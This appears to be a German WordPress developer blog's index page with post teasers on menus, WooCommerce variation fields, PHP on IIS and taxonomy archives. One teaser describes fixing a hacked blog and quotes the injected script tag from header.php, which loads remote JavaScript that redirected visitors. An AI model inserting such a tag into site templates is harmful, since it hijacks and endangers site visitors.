HTML Markup zu Menü-Oberpunkten hinzufügen

Um die Mobilfreundlichkeit eines Menüs mit jQuery zu verbessern, jedoch ohne das Rendering durch das Anhängen von HTML-Elementen via Javascript zu blockieren, suchte ich nach einem Weg, das HTML-Element das mein jQuery Skript zum Öffnen und Schließen von Untermenüs anspricht, via PHP auszugeben ohne gleich einen Custom Walker dafür bemühen … mehr »

WooCommerce Custom Fields für Variations

Für ein spezielles Anliegen musste ich herausfinden, wie man Custom Fields in WooCommerce Produktvariationen anlegt. Auf der Suche nach einer Lösung wurde ich auch schnell fündig und landete bei WooCommerce Custom Fields for Variations. Doch innerhalb des letzten Jahres muss WooCommerce das Produkt-Variationen-Handling derart verändert haben, dass die Vorgehensweise nicht … mehr »

WordPress-Hack behoben: Weiterleitung eines WordPress Blogs zu baidu.com

Fall von heute Vormittag: Rief man die Blogadresse auf, landete man nach einem Redirekt bei einer chinesischen Suchmaschine. Scanner fanden nichts. Die Ursache war in die header.php des Themes eingeschleust worden: <script type="text/javascript" src="http://system-bloglic.com/dl/bloglic_script.js"></script> (auf welchem Weg gilt es noch zu ermitteln, das Theme war schon etwas älter, und mindestens … mehr »

PHP Manager unter IIS 8.5

Die auf Webservern verfügbare PHP-Version kann man sich nicht bei jedem Provider aussuchen. Im schlimmsten Fall muss man noch mit PHP 5.2.17 rechnen, oder 5.3.28. Manchmal weicht die PHP-Version auf der man ein Projekt entwickelt und testet von der Version auf der es später läuft ab. Nicht oft, aber doch … mehr »

Der kurze Dienstweg zu Custom Taxonomy Archiven

Dieses Blog (und seine Besucher) musste(n) schon manches Experiment aushalten, um die Alltagstauglichkeit von Ideen rund um WordPress zu testen. Bis vor wenigen Tagen führte ich ein Plugin mit sechs verschiedenen Custom Post Types und sieben Custom Taxonomies (zwei davon für „interne“ Verwendung) mit. Die Wiedergabe der Inhalte erfolgte über … mehr »